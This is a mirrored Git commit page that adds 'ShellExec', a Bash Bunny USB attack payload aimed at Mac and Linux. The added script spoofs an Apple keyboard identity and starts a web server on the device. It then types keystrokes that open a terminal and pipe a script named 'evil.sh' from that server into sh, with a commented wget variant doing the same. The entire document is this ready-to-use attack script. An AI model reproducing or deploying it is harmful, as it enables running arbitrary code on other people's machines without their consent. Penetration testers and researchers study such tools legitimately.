mirror of
https://github.com/hak5darren/bashbunny-payloads.git
synced 2025-10-29 16:58:12 +00:00
add ShellExec payload
This commit is contained in:
49
payloads/library/ShellExec/payload.txt
Normal file
49
payloads/library/ShellExec/payload.txt
Normal file
@@ -0,0 +1,49 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Title: ShellExec
|
||||
# Author: audibleblink
|
||||
# Target: Mac/Linux
|
||||
# Version: 1.0
|
||||
#
|
||||
# Create a web server on the BashBunny and forces
|
||||
# the victim download and execute a script.
|
||||
#
|
||||
# White | Ready
|
||||
# Ammber blinking | Waiting for server
|
||||
# Blue blinking | Attacking
|
||||
# Green | Finished
|
||||
|
||||
LED R G B
|
||||
ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E
|
||||
|
||||
source bunny_helpers.sh
|
||||
|
||||
# switch to payload directory
|
||||
cd /root/udisk/payloads/$SWITCH_POSITION
|
||||
|
||||
# starting server
|
||||
LED R G 500
|
||||
python -c "import SimpleHTTPServer; import BaseHTTPServer; h=BaseHTTPServer.HTTPServer(('$HOST_IP', 80),SimpleHTTPServer.SimpleHTTPRequestHandler); h.serve_forever();" &> server.log &
|
||||
|
||||
# wait until port is listening
|
||||
while ! nc -z $HOST_IP 80; do sleep 0.2; done
|
||||
|
||||
# attack commences
|
||||
LED B 500
|
||||
|
||||
Q GUI SPACE
|
||||
Q DELAY 300
|
||||
Q STRING terminal
|
||||
Q DELAY 100
|
||||
Q ENTER
|
||||
Q DELAY 2000
|
||||
|
||||
# Q ALT F2 # swap with block above for linux
|
||||
# Q DELAY 100
|
||||
|
||||
Q STRING curl "http://$HOST_IP/evil.sh" \| sh
|
||||
# in case curl isn't installed
|
||||
# Q STRING wget -O - "http://$HOST_IP/evil.sh" \| sh
|
||||
Q ENTER
|
||||
|
||||
LED G
|
||||
Reference in New Issue
Block a user